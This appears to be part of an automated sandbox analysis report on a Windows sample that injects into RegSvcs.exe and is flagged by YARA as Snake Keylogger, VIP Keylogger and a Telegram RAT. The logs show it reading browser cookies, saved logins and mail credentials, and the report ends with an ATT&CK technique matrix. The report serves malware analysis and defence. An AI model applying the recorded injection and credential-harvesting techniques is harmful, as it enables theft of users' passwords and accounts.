Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595938	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595813	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595703	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595594	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595469	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595359	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595250	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595141	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595031	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 594922	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 594811	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 594688	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 594578	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 594469	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Window / User API: threadDelayed 8138			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Window / User API: threadDelayed 1715			Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599875	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599766	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599656	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599547	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599438	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599328	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599219	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599094	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598984	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598875	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598766	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598656	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598547	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598438	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598313	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598203	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598094	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597969	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597859	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597750	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597641	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597531	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597422	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597312	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597203	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597094	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596982	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596860	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596750	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596639	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596516	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596406	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596297	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596188	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596063	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595938	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595813	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595703	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595594	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595469	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595359	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595250	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595141	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595031	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 594922	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 594811	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 594688	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 594578	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 594469	Jump to behavior

Source: RegSvcs.exe, 00000002.00000002.4796478018.0000000003871000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696508427
Source: RegSvcs.exe, 00000002.00000002.4796478018.0000000003B91000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696508427t
Source: RegSvcs.exe, 00000002.00000002.4796478018.0000000003871000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696508427s
Source: RegSvcs.exe, 00000002.00000002.4796478018.0000000003871000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696508427f
Source: RegSvcs.exe, 00000002.00000002.4796478018.0000000003871000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696508427
Source: RegSvcs.exe, 00000002.00000002.4796478018.0000000003871000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696508427x
Source: RegSvcs.exe, 00000002.00000002.4796478018.0000000003B91000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696508427
Source: RegSvcs.exe, 00000002.00000002.4796478018.0000000003871000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696508427
Source: RegSvcs.exe, 00000002.00000002.4796478018.0000000003B91000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696508427t
Source: RegSvcs.exe, 00000002.00000002.4796478018.0000000003871000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696508427}
Source: RegSvcs.exe, 00000002.00000002.4796478018.0000000003B91000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696508427}
Source: RegSvcs.exe, 00000002.00000002.4796478018.0000000003B91000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696508427p
Source: RegSvcs.exe, 00000002.00000002.4796478018.0000000003B91000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696508427
Source: RegSvcs.exe, 00000002.00000002.4796478018.0000000003871000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696508427t
Source: RegSvcs.exe, 00000002.00000002.4796478018.0000000003B91000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696508427x
Source: RegSvcs.exe, 00000002.00000002.4796478018.0000000003871000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696508427\|UE
Source: RegSvcs.exe, 00000002.00000002.4796478018.0000000003B91000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696508427o
Source: RegSvcs.exe, 00000002.00000002.4796478018.0000000003B91000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696508427
Source: RegSvcs.exe, 00000002.00000002.4796478018.0000000003B91000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696508427u
Source: RegSvcs.exe, 00000002.00000002.4796478018.0000000003B91000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696508427j
Source: RegSvcs.exe, 00000002.00000002.4796478018.0000000003871000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696508427n
Source: RegSvcs.exe, 00000002.00000002.4796478018.0000000003871000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696508427x
Source: RegSvcs.exe, 00000002.00000002.4796478018.0000000003871000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696508427~
Source: RegSvcs.exe, 00000002.00000002.4796478018.0000000003B91000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696508427
Source: RegSvcs.exe, 00000002.00000002.4796478018.0000000003B91000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696508427}
Source: RegSvcs.exe, 00000002.00000002.4796478018.0000000003871000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696508427^
Source: RegSvcs.exe, 00000002.00000002.4796478018.0000000003871000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696508427}
Source: RegSvcs.exe, 00000002.00000002.4796478018.0000000003871000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696508427h
Source: RegSvcs.exe, 00000002.00000002.4796478018.0000000003871000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696508427z
Source: RegSvcs.exe, 00000002.00000002.4796478018.0000000003B91000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696508427s
Source: RegSvcs.exe, 00000002.00000002.4796478018.0000000003871000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696508427
Source: RegSvcs.exe, 00000002.00000002.4796478018.0000000003871000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696508427
Source: RegSvcs.exe, 00000002.00000002.4796478018.0000000003B91000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696508427
Source: RegSvcs.exe, 00000002.00000002.4796478018.0000000003871000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696508427j
Source: RegSvcs.exe, 00000002.00000002.4796478018.0000000003B91000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696508427^
Source: RegSvcs.exe, 00000002.00000002.4796478018.0000000003B91000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696508427x
Source: RegSvcs.exe, 00000002.00000002.4796478018.0000000003B91000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696508427~
Source: RegSvcs.exe, 00000002.00000002.4796478018.0000000003871000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696508427
Source: RegSvcs.exe, 00000002.00000002.4796478018.0000000003871000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696508427
Source: RegSvcs.exe, 00000002.00000002.4796478018.0000000003B91000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696508427z
Source: RegSvcs.exe, 00000002.00000002.4794609569.0000000000C36000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllSyst
Source: RegSvcs.exe, 00000002.00000002.4796478018.0000000003B91000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696508427h
Source: RegSvcs.exe, 00000002.00000002.4796478018.0000000003B91000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696508427f
Source: RegSvcs.exe, 00000002.00000002.4796478018.0000000003B91000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696508427
Source: RegSvcs.exe, 00000002.00000002.4796478018.0000000003871000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696508427
Source: RegSvcs.exe, 00000002.00000002.4796478018.0000000003B91000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696508427]
Source: RegSvcs.exe, 00000002.00000002.4796478018.0000000003871000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696508427u
Source: RegSvcs.exe, 00000002.00000002.4796478018.0000000003871000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696508427d
Source: RegSvcs.exe, 00000002.00000002.4796478018.0000000003B91000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696508427\|UE
Source: RegSvcs.exe, 00000002.00000002.4796478018.0000000003871000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696508427
Source: RegSvcs.exe, 00000002.00000002.4796478018.0000000003871000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696508427p
Source: RegSvcs.exe, 00000002.00000002.4796478018.0000000003B91000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696508427n
Source: RegSvcs.exe, 00000002.00000002.4796478018.0000000003871000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696508427o
Source: RegSvcs.exe, 00000002.00000002.4796478018.0000000003B91000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696508427
Source: RegSvcs.exe, 00000002.00000002.4796478018.0000000003B91000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696508427x
Source: RegSvcs.exe, 00000002.00000002.4796478018.0000000003B91000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696508427
Source: RegSvcs.exe, 00000002.00000002.4796478018.0000000003B91000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696508427
Source: RegSvcs.exe, 00000002.00000002.4796478018.0000000003871000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696508427x
Source: RegSvcs.exe, 00000002.00000002.4796478018.0000000003B91000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696508427
Source: RegSvcs.exe, 00000002.00000002.4796478018.0000000003871000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696508427]
Source: RegSvcs.exe, 00000002.00000002.4796478018.0000000003871000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696508427t
Source: RegSvcs.exe, 00000002.00000002.4796478018.0000000003871000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696508427
Source: RegSvcs.exe, 00000002.00000002.4796478018.0000000003B91000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696508427d

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Code function: 2_2_061B9548 LdrInitializeThunk,

2_2_061B9548

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Maps a DLL or memory area into another process

Source: C:\Users\user\Desktop\7DI4iYwcvw.exe

Section loaded: NULL target: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe protection: execute and read and write

Jump to behavior

Writes to foreign memory regions

Source: C:\Users\user\Desktop\7DI4iYwcvw.exe

Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 786008

Jump to behavior

Source: C:\Users\user\Desktop\7DI4iYwcvw.exe

Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Users\user\Desktop\7DI4iYwcvw.exe"

Jump to behavior

Source: 7DI4iYwcvw.exe

Binary or memory string: JDASCRWINUPRWINDOWNLWINUPLWINDOWNSHIFTUPSHIFTDOWNALTUPALTDOWNCTRLUPCTRLDOWNMOUSE_XBUTTON2MOUSE_XBUTTON1MOUSE_MBUTTONMOUSE_RBUTTONMOUSE_LBUTTONLAUNCH_APP2LAUNCH_APP1LAUNCH_MEDIALAUNCH_MAILMEDIA_PLAY_PAUSEMEDIA_STOPMEDIA_PREVMEDIA_NEXTVOLUME_UPVOLUME_DOWNVOLUME_MUTEBROWSER_HOMEBROWSER_FAVORTIESBROWSER_SEARCHBROWSER_STOPBROWSER_REFRESHBROWSER_FORWARDBROWSER_BACKNUMPADENTERSLEEPRSHIFTLSHIFTRALTLALTRCTRLLCTRLAPPSKEYNUMPADDIVNUMPADDOTNUMPADSUBNUMPADADDNUMPADMULTNUMPAD9NUMPAD8NUMPAD7NUMPAD6NUMPAD5NUMPAD4NUMPAD3NUMPAD2NUMPAD1NUMPAD0CAPSLOCKPAUSEBREAKNUMLOCKSCROLLLOCKRWINLWINPRINTSCREENUPTABSPACERIGHTPGUPPGDNLEFTINSERTINSHOMEF12F11F10F9F8F7F6F5F4F3F2F1ESCAPEESCENTERENDDOWNDELETEDELBSBACKSPACEALTONOFF0%d%dShell_TrayWndExitScript Pausedblankinfoquestionstopwarning

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected Snake Keylogger

Source: Yara match

File source: 00000002.00000002.4794997601.00000000027E1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Yara detected Telegram RAT

Source: Yara match	File source: 2.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000002.00000002.4793959716.0000000000402000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: RegSvcs.exe PID: 7020, type: MEMORYSTR

Yara detected VIP Keylogger

Source: Yara match	File source: 2.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000002.00000002.4794997601.00000000028E7000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.4793959716.0000000000402000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: RegSvcs.exe PID: 7020, type: MEMORYSTR

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Top Sites	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Roaming\PostboxApp\Profiles\			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676			Jump to behavior

Source: Yara match	File source: 2.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000002.00000002.4794997601.00000000028E7000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.4793959716.0000000000402000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: RegSvcs.exe PID: 7020, type: MEMORYSTR

Remote Access Functionality

Yara detected Snake Keylogger

Source: Yara match

File source: 00000002.00000002.4794997601.00000000027E1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Yara detected Telegram RAT

Source: Yara match	File source: 2.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000002.00000002.4793959716.0000000000402000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: RegSvcs.exe PID: 7020, type: MEMORYSTR

Yara detected VIP Keylogger

Source: Yara match	File source: 2.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000002.00000002.4794997601.00000000028E7000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.4793959716.0000000000402000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: RegSvcs.exe PID: 7020, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	1 DLL Side-Loading	212 Process Injection	1 Disable or Modify Tools	1 OS Credential Dumping	11 Security Software Discovery	Remote Services	1 Email Collection	1 Web Service	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 DLL Side-Loading	11 Virtualization/Sandbox Evasion	LSASS Memory	1 Process Discovery	Remote Desktop Protocol	1 Archive Collected Data	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	212 Process Injection	Security Account Manager	11 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	1 Data from Local System	1 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	2 Obfuscated Files or Information	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	3 Ingress Tool Transfer	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 System Network Configuration Discovery	SSH	Keylogging	3 Non-Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
